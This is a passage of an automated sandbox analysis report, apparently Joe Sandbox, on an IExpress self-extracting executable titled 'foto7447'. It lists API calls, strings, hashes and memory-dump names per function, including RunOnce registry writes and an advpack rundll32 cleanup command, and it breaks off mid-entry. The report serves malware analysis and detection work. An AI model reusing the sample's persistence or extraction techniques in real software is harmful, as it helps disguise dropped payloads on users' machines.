Opcode Fuzzy Hash: 1db0fc4e622f3b9a0d8ef2df5df2030461dd59d7bf8c0763150201d238e65486
Instruction Fuzzy Hash: F1319572604744ABC320EBA4CC89AEB73EDBFC4335F04492DB59586291EB78D90DE752

Uniqueness

Uniqueness Score: -1.00%

Function 00F32BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00F32C28
CloseHandle.KERNEL32(00000000,?,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C98

Strings

Kernel32.dll, xrefs: 00F32C13
HeapSetInformation, xrefs: 00F32C22

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 19c3378f22f787eeab0b53b9ec5d5d68847efd3a39179f60347ff1b33f9f2e72
Instruction ID: 724c2df33bfc7905e2df47a82dbea46afb4cdb3b97471573ea5ac1131915ef18
Opcode Fuzzy Hash: 19c3378f22f787eeab0b53b9ec5d5d68847efd3a39179f60347ff1b33f9f2e72
Instruction Fuzzy Hash: 6711E571A00309ABDB607BB6AC88A6F375AAB847F0F141015F980E3290DA75DC01B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F36F40 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00F36F45

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8c281552e03e18a620c03b44833a1e83e8f776d25a598ba0f8af5c849c226d3a
Instruction ID: f7074f9b853668480f4e9000df7ddf982b9ad0ab9f3fb230a17b0718311d7d32
Opcode Fuzzy Hash: 8c281552e03e18a620c03b44833a1e83e8f776d25a598ba0f8af5c849c226d3a
Instruction Fuzzy Hash: 7B9002642511045796102B719D1D41976925B4D623F829460A051C8495DB6180847917

Uniqueness

Uniqueness Score: -1.00%

Function 00F3202A Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F32050
memset.MSVCRT ref: 00F3205F
RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00F3208C

Part of subcall function 00F3171E: _vsnprintf.MSVCRT ref: 00F31750

RegQueryValueExA.ADVAPI32(?,00F38530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F320C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F320EA
GetSystemDirectoryA.KERNEL32 ref: 00F32103
LoadLibraryA.KERNEL32(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00F32134
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32144
GetSystemDirectoryA.KERNEL32 ref: 00F3215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F3218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F321C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F321E4
RegSetValueExA.ADVAPI32(?,00F38530,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00F3223D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32250

Strings

advpack.dll, xrefs: 00F32109
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F32082
wextract_cleanup%d, xrefs: 00F3209E
DelNodeRunDLL32, xrefs: 00F3212E
%s /D:%s, xrefs: 00F321FF, 00F32210
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F321F6
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F321A8, 00F32204

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocFileLoadModuleNameOpenProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d
API String ID: 3861571478-3922849370
Opcode ID: 9c5ff04eefb4cc84beae249780d35f78c398a79e5b36d45e530a99b367f29860
Instruction ID: 92ad2031a752d9fcf9a997c2da060b5ec59ea0013302c88a254849d100ead1d1
Opcode Fuzzy Hash: 9c5ff04eefb4cc84beae249780d35f78c398a79e5b36d45e530a99b367f29860
Instruction Fuzzy Hash: A55139B2A00218ABDB64AF20DC49FFB773DEF40770F0441A4F985E3151DAB5DE49AA60

Uniqueness

Uniqueness Score: -1.00%

Function 00F355A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00F355CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00F35638
LocalFree.KERNEL32(00000000), ref: 00F3564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F35620

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,foto7447,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00F356B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00F3571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00F35737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00F357CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00F357EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00F35802

Part of subcall function 00F32630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00F32654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00F35830

Part of subcall function 00F36517: FindResourceA.KERNEL32(00F30000,000007D6,00000005), ref: 00F3652A
Part of subcall function 00F36517: LoadResource.KERNEL32(00F30000,00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F36538
Part of subcall function 00F36517: DialogBoxIndirectParamA.USER32(00F30000,00000000,00000547,00F319E0,00000000), ref: 00F36557
Part of subcall function 00F36517: FreeResource.KERNEL32(00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F36560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00F35878

Part of subcall function 00F3597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F359A8
Part of subcall function 00F3597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00F359AF

Strings

msdownld.tmp, xrefs: 00F357D3
Z, xrefs: 00F3570A
RUNPROGRAM, xrefs: 00F355BD, 00F35600
A:\, xrefs: 00F356F4
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F356AE, 00F356B3, 00F3583D
<None>, xrefs: 00F35632

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-2740620654
Opcode ID: 0ddaf08c6e905e49657cb5b4d4c349e675e38b8bf9a57584587a90674aa2f20a
Instruction ID: b02e7d50269223b6d6508f368edd06474ef59bfbbe414993ff6cff99cdf6e955
Opcode Fuzzy Hash: 0ddaf08c6e905e49657cb5b4d4c349e675e38b8bf9a57584587a90674aa2f20a
Instruction Fuzzy Hash: CD811DB1E04A089ADB24AB358C85BFE765E9FE0B70F040065F9C6D2191DFB8CDC1BA51

Uniqueness

Uniqueness Score: -1.00%

Function 00F3597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F359A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00F359AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00F35A13
MulDiv.KERNEL32(?,?,00000400), ref: 00F35A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00F35A64
memset.MSVCRT ref: 00F35A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F35A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F35AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00F35BFC

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,foto7447,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: ff6960a8a25486e6dfc58c1b0eecd0c2e421b3e5c06162678890c7b453c93b10
Instruction ID: a917690c52adb9a8ff3ae3ff16b1931c4f5d6122b1b08d02629a6b384c8c456b
Opcode Fuzzy Hash: ff6960a8a25486e6dfc58c1b0eecd0c2e421b3e5c06162678890c7b453c93b10
Instruction Fuzzy Hash: CF71A1B190021CAFEB25DB60CC85FFBB7ADEB88764F0441A9F445D6240DA749E85AF60

Uniqueness

Uniqueness Score: -1.00%

Function 00F34FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00F34FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00F35006
LockResource.KERNEL32(00000000), ref: 00F3500D
GetDlgItem.USER32(00000000,00000842), ref: 00F35030
ShowWindow.USER32(00000000), ref: 00F35037
GetDlgItem.USER32(00000841,00000005), ref: 00F3504A
ShowWindow.USER32(00000000), ref: 00F35051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00F35111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00F35159

Strings

*MEMCAB, xrefs: 00F350C7
CABINET, xrefs: 00F34FE6, 00F34FF7

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 2c99b5735833c1949fe1692f5b6331ce9b042078422ce63298a6df6ccdc37a08
Instruction ID: 663da06252f018073ef754636364ac6e542085de5f38a7ed94d222ece9f254d9
Opcode Fuzzy Hash: 2c99b5735833c1949fe1692f5b6331ce9b042078422ce63298a6df6ccdc37a08
Instruction Fuzzy Hash: 7331E9B0B4470A7BD7207B62AD89F67366EB744BB5F040024FD41A21A1DBF9EC00BA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F353A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F3171E: _vsnprintf.MSVCRT ref: 00F31750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F353FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35452

Strings

IXP, xrefs: 00F35419
IXP%03d.TMP, xrefs: 00F353C0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F353B7, 00F353E1, 00F3541E

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-775753704
Opcode ID: 36ba9fc2ab00bf384b808ab713d420ed779282bf6471af8ead029b980d46f88d
Instruction ID: 8e49f893279f36dbc623c9404a303f9ca69e727fce39127a5cc24555be1de08c
Opcode Fuzzy Hash: 36ba9fc2ab00bf384b808ab713d420ed779282bf6471af8ead029b980d46f88d
Instruction Fuzzy Hash: C811E7B170060877D7289B369C49FEF766EEFC5731F000125F986D2290DE788946A6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F35467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F354C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3556F

Part of subcall function 00F353A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F353FB
Part of subcall function 00F353A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35402
Part of subcall function 00F353A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3541F
Part of subcall function 00F353A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3542B
Part of subcall function 00F353A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35434

Strings

alpha, xrefs: 00F354F0
mips, xrefs: 00F354F7
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F3547D, 00F35481, 00F354AB, 00F3551C, 00F3553C, 00F35568
i386, xrefs: 00F354FE
ppc, xrefs: 00F354E9

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3374052426
Opcode ID: 7f03e25f85b0b63b1eae187042d6ca14dd58b4610852eaa2f4b9296f9c7d4c6d
Instruction ID: 3ed59096674eeb78ab7a14ea52c63fa903b03ec721b413abd40f816d93241a38
Opcode Fuzzy Hash: 7f03e25f85b0b63b1eae187042d6ca14dd58b4610852eaa2f4b9296f9c7d4c6d
Instruction Fuzzy Hash: BA310871F00A046BCF54AF259C456BE779BBBC1B74F08012AE442D7240DBB8DE05B691

Uniqueness

Uniqueness Score: -1.00%

Function 00F3256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00F34096,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?), ref: 00F325B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?,00F34096), ref: 00F325CB
RegCloseKey.KERNELBASE(?,?,00F31ED3,00000001,00000000,?,?,00F34137,?,00F34096), ref: 00F325DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00F34096,00F34096,?,00F31ED3,00000001,00000000,?,?,00F34137,?), ref: 00F325FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00F34096,00000000,00000000,00000000,00000000,?,00F31ED3,00000001,00000000), ref: 00F3261A

Strings

PendingFileRenameOperations, xrefs: 00F325C3
System\CurrentControlSet\Control\Session Manager, xrefs: 00F325A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00F325F5

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: a69f69c42e7c1e748b1ad38ef6a297c498b4fdef57b236ec8b323a9e50ff31a9
Instruction ID: d4c6ca512c67857df642781a9207db5d674aa95d28c01e1b7415723cbb3a20a1
Opcode Fuzzy Hash: a69f69c42e7c1e748b1ad38ef6a297c498b4fdef57b236ec8b323a9e50ff31a9
Instruction Fuzzy Hash: 97118CB5D02228BB9B64DB929C0ADFBBE7CEF117B1F144055B848A2100DB709F45F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F36A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F37155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F37182
Part of subcall function 00F37155: GetCurrentProcessId.KERNEL32 ref: 00F37191
Part of subcall function 00F37155: GetCurrentThreadId.KERNEL32 ref: 00F3719A
Part of subcall function 00F37155: GetTickCount.KERNEL32 ref: 00F371A3
Part of subcall function 00F37155: QueryPerformanceCounter.KERNEL32(?), ref: 00F371B8

GetStartupInfoW.KERNEL32(?,00F372B8,00000058), ref: 00F36A7F
Sleep.KERNEL32(000003E8), ref: 00F36AB4
_amsg_exit.MSVCRT ref: 00F36AC9
_initterm.MSVCRT ref: 00F36B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00F36B49
exit.KERNELBASE ref: 00F36BBF
_ismbblead.MSVCRT ref: 00F36BDA

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 147df4b3bb82d547ba7432e5c0247cc0cb8bfce553d47526182dba69938d38d0
Instruction ID: 01a0cf62179697f87c2ed5ea5047708616ee9071bfda85cfd6205bb8d24ff13b
Opcode Fuzzy Hash: 147df4b3bb82d547ba7432e5c0247cc0cb8bfce553d47526182dba69938d38d0
Instruction Fuzzy Hash: 8041D571D48328EBDB21AB68DC0576AB7E5FB84771F24811AF841E7290CB788942BF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F358C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00F35534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F358E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00F35534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35943
